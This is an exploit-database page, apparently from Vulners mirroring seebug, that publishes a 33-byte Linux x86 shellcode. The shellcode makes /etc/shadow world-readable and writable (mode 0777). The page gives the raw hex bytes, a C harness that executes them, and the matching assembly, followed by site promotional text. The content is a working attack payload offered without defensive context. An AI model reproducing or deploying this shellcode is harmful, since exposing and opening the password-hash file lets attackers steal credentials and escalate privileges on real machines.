Lucene search
K

33 Bytes chmod("/etc/shadow", 0777) Shellcode

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

33 Bytes chmod("/etc/shadow", 0777) Shellcode for Linux x86 platfor

Code

                                                # [email protected]
# http://plasticsouptaste.blogspot.com
# Name: 33 bytes chmod("/etc/shadow", 0777) shellcode
# Platform: Linux x86
 
#include "stdio.h"
 
int main(int argc, char *argv[])
{
 
char shellcode[]
="\x31\xc0\x50\xb0\x0f\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x40\xcd\x80";
 
printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
 
return 0;
}
 
/*
xor %eax,%eax
push %eax
mov $0xf,%al
push $0x776f6461
push $0x68732f63
push $0x74652f2f
mov %esp,%ebx
xor %ecx,%ecx
mov $0x1ff,%cx
int $0x80
inc %eax
int $0x80
 
*/
-- 

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
14